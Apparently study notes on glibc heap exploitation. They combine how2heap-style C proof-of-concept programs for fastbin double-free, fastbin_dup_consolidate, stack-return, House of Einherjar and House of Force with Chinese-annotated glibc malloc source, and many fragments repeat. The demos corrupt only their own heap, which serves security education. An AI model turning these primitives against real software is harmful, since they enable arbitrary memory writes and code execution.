#include <stdio.h>

#include <stdlib.h>

#include <assert.h>

int main()

{

	fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

	fprintf(stderr, "Allocating 3 buffers.\n");

	int *a = malloc(8);

	int *b = malloc(8);

	int *c = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", a);

	fprintf(stderr, "2nd malloc(8): %p\n", b);

	fprintf(stderr, "3rd malloc(8): %p\n", c);

	fprintf(stderr, "Freeing the first one...\n");

	free(a);

	fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

	// free(a);

	fprintf(stderr, "So, instead, we'll free %p.\n", b);

	free(b);

	fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);

	free(a);

	fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);

	a = malloc(8);

	b = malloc(8);

	c = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", a);

	fprintf(stderr, "2nd malloc(8): %p\n", b);

	fprintf(stderr, "3rd malloc(8): %p\n", c);

	assert(a == c);

}

free(a);

if (__builtin_expect (old == p, 0))//if you release the same address twice，就报错 double free 错误

	  {

	    errstr = "double free or corruption (fasttop)";

	    goto errout;

	  }

a=malloc(8);

/*

  ------------------------- malloc_consolidate -------------------------

  malloc_consolidate is a specialized version of free() that tears

  down chunks held in fastbins.  Free itself cannot be used for this

  purpose since, among other things, it might place chunks back onto

  fastbins.  So, instead, we need to use a minor variant of the same

  code.

  Also, because this routine needs to be called the first time through

  malloc anyway, it turns out to be the perfect place to trigger

  initialization code.

*/

static void malloc_consolidate(mstate av)

{

  mfastbinptr*    fb;                 /* current fastbin being consolidated */

  mfastbinptr*    maxfb;              /* last fastbin (for loop control) */

  mchunkptr       p;                  /* current chunk being consolidated */

  mchunkptr       nextp;              /* next chunk to consolidate */

  mchunkptr       unsorted_bin;       /* bin header */

  mchunkptr       first_unsorted;     /* chunk to link to */

  /* These have same use as in free() */

  mchunkptr       nextchunk;

  INTERNAL_SIZE_T size;

  INTERNAL_SIZE_T nextsize;

  INTERNAL_SIZE_T prevsize;

  int             nextinuse;

  mchunkptr       bck;

  mchunkptr       fwd;

  /*

    If max_fast is 0, we know that av hasn't

    yet been initialized, in which case do so below

  */

  if (get_max_fast () != 0) {

    clear_fastchunks(av);

    unsorted_bin = unsorted_chunks(av);

    /*

      Remove each chunk from fast bin and consolidate it, placing it

      then in unsorted bin. Among other reasons for doing this,

      placing in unsorted bin avoids needing to calculate actual bins

      until malloc is sure that chunks aren't immediately going to be

      reused anyway.

    */

    maxfb = &fastbin (av, NFASTBINS - 1);

    fb = &fastbin (av, 0);

    do {

      p = atomic_exchange_acq (fb, 0);

      if (p != 0) {

	do {

	  check_inuse_chunk(av, p);

	  nextp = p->fd;

	  /* Slightly streamlined version of consolidation code in free() */

	  size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);

	  nextchunk = chunk_at_offset(p, size);

	  nextsize = chunksize(nextchunk);

	  if (!prev_inuse(p)) { // 判断向前合并

	    prevsize = p->prev_size;

	    size += prevsize;

	    p = chunk_at_offset(p, -((long) prevsize));

	    unlink(av, p, bck, fwd);

	  }

	  if (nextchunk != av->top) {// 不紧挨着 topchunk

	    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

	    if (!nextinuse) {

	      size += nextsize;

	      unlink(av, nextchunk, bck, fwd);

	    } else

	      clear_inuse_bit_at_offset(nextchunk, 0);

	    first_unsorted = unsorted_bin->fd; // 插入到 unstored_bin 中

	    unsorted_bin->fd = p;

	    first_unsorted->bk = p;

	    if (!in_smallbin_range (size)) { // 不符合 smallbin 的范围进入 largebin

	      p->fd_nextsize = NULL;

	      p->bk_nextsize = NULL;

	    }

	    set_head(p, size | PREV_INUSE);

	    p->bk = unsorted_bin;

	    p->fd = first_unsorted;

	    set_foot(p, size);

	  }

	  else { // 下一个 chunk 为 top chunk

	    size += nextsize;

	    set_head(p, size | PREV_INUSE);

	    av->top = p;

	  }

	} while ( (p = nextp) != 0);

      }

    } while (fb++ != maxfb);

  }

  else {

    malloc_init_state(av); // 初始化

    check_malloc_state(av);

  }

}

#include <stdio.h>

#include <stdlib.h>

#include <assert.h>

void main() {

	// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8

	puts("This is a powerful technique that bypasses the double free check in tcachebin.");

	printf("Fill up the tcache list to force the fastbin usage...\n");

	void* p1 = calloc(1,0x40);// 先分配一个小的 chunk

	printf("Allocate another chunk of the same size p1=%p \n", p1);

	printf("Freeing p1 will add this chunk to the fastbin list...\n\n");

	free(p1);// 释放进入 fastbin

	void* p3 = malloc(0x400);// 分配一个大的 chunk，小的如果紧挨着 topchunk 就与 top chunk 合并

	printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);

	printf("will trigger the malloc_consolidate and merge\n");

	printf("the fastbin chunks into the top chunk, thus\n");

	printf("p1 and p3 are now pointing to the same chunk !\n\n");

	assert(p1 == p3);

	printf("Triggering the double free vulnerability!\n\n");

	free(p1);// 释放这个 largebin

	void *p4 = malloc(0x400);

	assert(p4 == p3);

	printf("The double free added the chunk referenced by p1 \n");

	printf("to the tcache thus the next similar-size malloc will\n");

	printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);

}

if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))  // 这里是申请对 fastbin 申请 chunk

    {

      idx = fastbin_index (nb);

      mfastbinptr *fb = &fastbin (av, idx);

      mchunkptr pp = *fb;

      do

        {

          victim = pp;

          if (victim == NULL)

            break;

        }

      while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))

             != victim);

      if (victim != 0)

        {     // 检测链表的 size 是否合法

          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))

            { // 不合法

              errstr = "malloc(): memory corruption (fast)";

            errout:

              malloc_printerr (check_action, errstr, chunk2mem (victim), av);

              return NULL;

            } // 合法得到符合的返回

          check_remalloced_chunk (av, victim, nb);

          void *p = chunk2mem (victim);

          alloc_perturb (p, bytes);

          return p;

        }

    }

#include <stdio.h>

#include <stdlib.h>

int main()

{

	fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"

	       "returning a pointer to a controlled location (in this case, the stack).\n");

	unsigned long long stack_var;

	fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

	fprintf(stderr, "Allocating 3 buffers.\n");

	int *a = malloc(8);

	int *b = malloc(8);

	int *c = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", a);

	fprintf(stderr, "2nd malloc(8): %p\n", b);

	fprintf(stderr, "3rd malloc(8): %p\n", c);

	fprintf(stderr, "Freeing the first one...\n");

	free(a);

	fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

	// free(a);

	fprintf(stderr, "So, instead, we'll free %p.\n", b);

	free(b);

	fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);

	free(a);

	fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "

		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);

	unsigned long long *d = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", d);

	fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));

	fprintf(stderr, "Now the free list has [ %p ].\n", a);

	fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"

		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"

		"so that malloc will think there is a free chunk there and agree to\n"

		"return a pointer to it.\n", a);

	stack_var = 0x20;

	fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);

	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

	fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));

	fprintf(stderr, "4th malloc(8): %p\n", malloc(8));

}

int *a = malloc(8);

int *b = malloc(8);

int *c = malloc(8);

/* consolidate backward */

        if (!prev_inuse(p)) { // 检测 p 位是否为 0

            prevsize = prev_size(p);

            size += prevsize;

            p = chunk_at_offset(p, -((long) prevsize));

            unlink(av, p, bck, fwd); // 这里会触发 unlink

        }

/* consolidate forward , 本例子没有用到，只是对比一下区别，这里直接吞并高地址 */

      if (!nextinuse) {

	unlink(av, nextchunk, bck, fwd);

	size += nextsize;

      } else

	clear_inuse_bit_at_offset(nextchunk, 0);

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <stdint.h>

#include <malloc.h>

/*

   Credit to st4g3r for publishing this technique

   The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()

   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 

*/

int main()

{

	setbuf(stdin, NULL);

	setbuf(stdout, NULL);

	printf("Welcome to House of Einherjar!\n");

	printf("Tested in Ubuntu 16.04 64bit.\n");

	printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

	uint8_t* a;

	uint8_t* b;

	uint8_t* d;

	printf("\nWe allocate 0x38 bytes for 'a'\n");

	a = (uint8_t*) malloc(0x38);

	printf("a: %p\n", a);

	int real_a_size = malloc_usable_size(a);

	printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

	// create a fake chunk

	printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");

	printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");

	printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");

	printf("(although we could do the unsafe unlink technique here in some scenarios)\n");

	size_t fake_chunk[6];

	fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size

	fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin

	fake_chunk[2] = (size_t) fake_chunk; // fwd

	fake_chunk[3] = (size_t) fake_chunk; // bck

	fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize

	fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize

	printf("Our fake chunk at %p looks like:\n", fake_chunk);

	printf("prev_size (not used): %#lx\n", fake_chunk[0]);

	printf("size: %#lx\n", fake_chunk[1]);

	printf("fwd: %#lx\n", fake_chunk[2]);

	printf("bck: %#lx\n", fake_chunk[3]);

	printf("fwd_nextsize: %#lx\n", fake_chunk[4]);

	printf("bck_nextsize: %#lx\n", fake_chunk[5]);

	/* In this case it is easier if the chunk size attribute has a least significant byte with

	 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 

	 * the chunk includes the amount requested plus some amount required for the metadata. */

	b = (uint8_t*) malloc(0xf8);// 没有满足对其

	int real_b_size = malloc_usable_size(b);// 这里是 0x100，自动对齐

	printf("\nWe allocate 0xf8 bytes for 'b'.\n");

	printf("b: %p\n", b);

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);

	/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

	printf("\nb.size: %#lx\n", *b_size_ptr);

	printf("b.size is: (0x100) | prev_inuse = 0x101\n");

	printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");

	a[real_a_size] = 0; 

	printf("b.size: %#lx\n", *b_size_ptr);

	printf("This is easiest if b.size is a multiple of 0x100 so you "

		   "don't change the size of b, only its prev_inuse bit\n");

	printf("If it had been modified, we would need a fake chunk inside "

		   "b where it will try to consolidate the next chunk\n");

	// Write a fake prev_size to the end of a

	printf("\nWe write a fake prev_size to the last %lu bytes of a so that "

		   "it will consolidate with our fake chunk\n", sizeof(size_t));

	size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);

	printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);

	*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

	//Change the fake chunk's size to reflect b's new prev_size

	printf("\nModify fake chunk's size to reflect b's new prev_size\n");

	fake_chunk[1] = fake_size;

	// free b and it will consolidate with our fake chunk

	printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");

	free(b);

	printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

	//if we allocate another chunk before we free b we will need to 

	//do two things: 

	//1) We will need to adjust the size of our fake chunk so that

	//fake_chunk + fake_chunk's size points to an area we control

	//2) we will need to write the size of our fake chunk

	//at the location we control. 

	//After doing these two things, when unlink gets called, our fake chunk will

	//pass the size(P) == prev_size(next_chunk(P)) test. 

	//otherwise we need to make sure that our fake chunk is up against the

	//wilderness

	printf("\nNow we can call malloc() and it will begin in our fake chunk\n");

	d = malloc(0x200);

	printf("Next malloc(0x200) is at %p\n", d);

}

typedef unsigned char           uint8_t;

size_t fake_chunk[6];

	fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size

	fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin

	fake_chunk[2] = (size_t) fake_chunk; // fwd

	fake_chunk[3] = (size_t) fake_chunk; // bck

	fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize

	fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize

	printf("Our fake chunk at %p looks like:\n", fake_chunk);

	printf("prev_size (not used): %#lx\n", fake_chunk[0]);

	printf("size: %#lx\n", fake_chunk[1]);

	printf("fwd: %#lx\n", fake_chunk[2]);

	printf("bck: %#lx\n", fake_chunk[3]);

	printf("fwd_nextsize: %#lx\n", fake_chunk[4]);

	printf("bck_nextsize: %#lx\n", fake_chunk[5]);

#define unlink(AV, P, BK, FD) {                                            \

    FD = P->fd;								      \

    BK = P->bk;								      \

    if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) // 检测是否为双链表结构

      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

    else {								      \

        FD->bk = BK;							      \

        BK->fd = FD;							      \

        if (!in_smallbin_range (P->size)	// 判断是否为 lagrebin			      \

            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \

	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \

		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \

	      malloc_printerr (check_action,				      \

			       "corrupted double-linked list (not small)",    \

			       P, AV);   // 判断 largebin 是否为双链表结构

            if (FD->fd_nextsize == NULL) {				      \

                if (P->fd_nextsize == P)				      \

                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \

                else {							      \

                    FD->fd_nextsize = P->fd_nextsize;			      \

                    FD->bk_nextsize = P->bk_nextsize;			      \

                    P->fd_nextsize->bk_nextsize = FD;			      \

                    P->bk_nextsize->fd_nextsize = FD;			      \

                  }							      \

              } else {							      \

                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \

                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \

              }								      \

          }								      \

      }									      \

}

b = (uint8_t*) malloc(0xf8);

	int real_b_size = malloc_usable_size(b);

	printf("\nWe allocate 0xf8 bytes for 'b'.\n");

	printf("b: %p\n", b);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);

	/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

	printf("\nb.size: %#lx\n", *b_size_ptr);

printf("\nb.size: %#lx\n", *b_size_ptr);

	printf("b.size is: (0x100) | prev_inuse = 0x101\n");

	printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");

	a[real_a_size] = 0; 

	printf("b.size: %#lx\n", *b_size_ptr);

	printf("This is easiest if b.size is a multiple of 0x100 so you "

		   "don't change the size of b, only its prev_inuse bit\n");

	printf("If it had been modified, we would need a fake chunk inside "

		   "b where it will try to consolidate the next chunk\n");

size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);

	printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);

*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

	//Change the fake chunk's size to reflect b's new prev_size

	printf("\nModify fake chunk's size to reflect b's new prev_size\n");

	fake_chunk[1] = fake_size;

// free b and it will consolidate with our fake chunk

	printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");

	free(b);

	printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

//if we allocate another chunk before we free b we will need to 

	//do two things: 

	//1) We will need to adjust the size of our fake chunk so that

	//fake_chunk + fake_chunk's size points to an area we control

	//2) we will need to write the size of our fake chunk

	//at the location we control. 

	//After doing these two things, when unlink gets called, our fake chunk will

	//pass the size(P) == prev_size(next_chunk(P)) test. 

	//otherwise we need to make sure that our fake chunk is up against the

	//wilderness

	printf("\nNow we can call malloc() and it will begin in our fake chunk\n");

	d = malloc(0x200);

	printf("Next malloc(0x200) is at %p\n", d);

/* finally, do the allocation */

  p = av->top;//p 指向当前 top chunk

  size = chunksize (p); // 获取 top chunk 的 size

  /* check that one of the above allocation paths succeeded */

    // 这里的 nb 是要从 top chunk 申请的 chunk 大小（包括头部的 0x10）

    //MINSIZE 是一个 chunk 需要的最小的空间（32 位 0x10，64 位 0x20，为 pre_size,size,fd,bk）

  if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))

    { //if 是判断 保障 top chunk 去掉这个 nb chunk 后仍然有一个最小 chunk 大小的空间

      remainder_size = size - nb; //top chunk 剩余大小

      remainder = chunk_at_offset (p, nb);  // 得到新 top chunk 的头部地址

      av->top = remainder;

        // 下面的 set_heap 是设置切割出去的 chunk 和新 top chunk 的 size

      set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));

      set_head (remainder, remainder_size | PREV_INUSE);

      check_malloced_chunk (av, p, nb);// 作用不明。。。

      return chunk2mem (p); // 返回用户指针

    }

/*

   This PoC works also with ASLR enabled.

   It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.

   If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 

   ( http://phrack.org/issues/66/10.html )

   Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04

*/

#include <stdio.h>

#include <stdint.h>

#include <stdlib.h>

#include <string.h>

#include <stdint.h>

#include <malloc.h>

#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])

{

	fprintf(stderr, "\nWelcome to the House of Force\n\n");

	fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");

	fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "

		"and is the chunk that will be resized when malloc asks for more space from the os.\n");

	fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);

	fprintf(stderr, "Its current value is: %s\n", bss_var);

	fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");

	intptr_t *p1 = malloc(256);

	fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

	fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");

	int real_size = malloc_usable_size(p1);

	fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

	fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

	//----- VULNERABILITY ----

	intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));//??

	fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

	fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");

	fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));

	*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;

	fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));

	//------------------------

	fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"

	   "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"

	   "overflow) and will then be able to allocate a chunk right over the desired region.\n");

	/*

	 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):

	 * new_top = old_top + nb

	 * nb = new_top - old_top

	 * req + 2sizeof(long) = new_top - old_top

	 * req = new_top - old_top - 2sizeof(long)

	 * req = dest - 2sizeof(long) - old_top - 2sizeof(long)

	 * req = dest - old_top - 4*sizeof(long)

	 */

	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;

	fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"

	   "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);

	void *new_ptr = malloc(evil_size);

	fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

	void* ctr_chunk = malloc(100);

	fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");

	fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);

	fprintf(stderr, "Now, we can finally overwrite that value:\n");

	fprintf(stderr, "... old string: %s\n", bss_var);

	fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");

	strcpy(ctr_chunk, "YEAH!!!");

	fprintf(stderr, "... new string: %s\n", bss_var);

	assert(ctr_chunk == bss_var);

	// some further discussion:

	//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");

	//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "

	//	"and we \nwant to set this result to the address of malloc_got_address-8\n\n");

	//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");

	//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");

	//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"

	//	"\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");

	//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);

	//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);

	//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");

}

fprintf(stderr, "\nWelcome to the House of Force\n\n");

	fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");

	fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "

		"and is the chunk that will be resized when malloc asks for more space from the os.\n");

	fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);

	fprintf(stderr, "Its current value is: %s\n", bss_var);

fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");

	intptr_t *p1 = malloc(256);

	fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");

	int real_size = malloc_usable_size(p1);

	fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));//??

	fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");

	fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));

	*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;

	fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));

/*

	 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):

	 * new_top = old_top + nb

	 * nb = new_top - old_top

	 * req + 2sizeof(long) = new_top - old_top

	 * req = new_top - old_top - 2sizeof(long)

	 * req = dest - 2sizeof(long) - old_top - 2sizeof(long)

	 * req = dest - old_top - 4*sizeof(long)

	 */

	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;  //evil_size 是将目的地址前面的地址空间全部申请出去

	fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"

	   "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);

	void *new_ptr = malloc(evil_size);

	fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

new_top = old_top + nb // 更新 top chunk 为申请 nb 后的 chunk（nb 为申请的 chunk）

	 nb = new_top - old_top // 反推得 nb 的大小，这里新的 top chunk 可以通过想要申请的目的地址 - 0x10（到其头部）来得到

	 req + 2sizeof(long) = new_top - old_top // 这里 req 也就是申请 nb 实际的 size 大小（不包含头部）

	 req = new_top - old_top - 2sizeof(long)

	 req = dest - 2sizeof(long) - old_top - 2sizeof(long) // 目的地址 (dest)=new top_chunk-0x10

	 req = dest - old_top - 4*sizeof(long)

        // 可以通过下面的推到理解

        //old_top+(req+0x10)=dest-0x10

        //req=dest-old_top-0x20

void* ctr_chunk = malloc(100);

	fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");

	fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);

	fprintf(stderr, "Now, we can finally overwrite that value:\n");

	fprintf(stderr, "... old string: %s\n", bss_var);

	fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");

	strcpy(ctr_chunk, "YEAH!!!");

	fprintf(stderr, "... new string: %s\n", bss_var);

	assert(ctr_chunk == bss_var);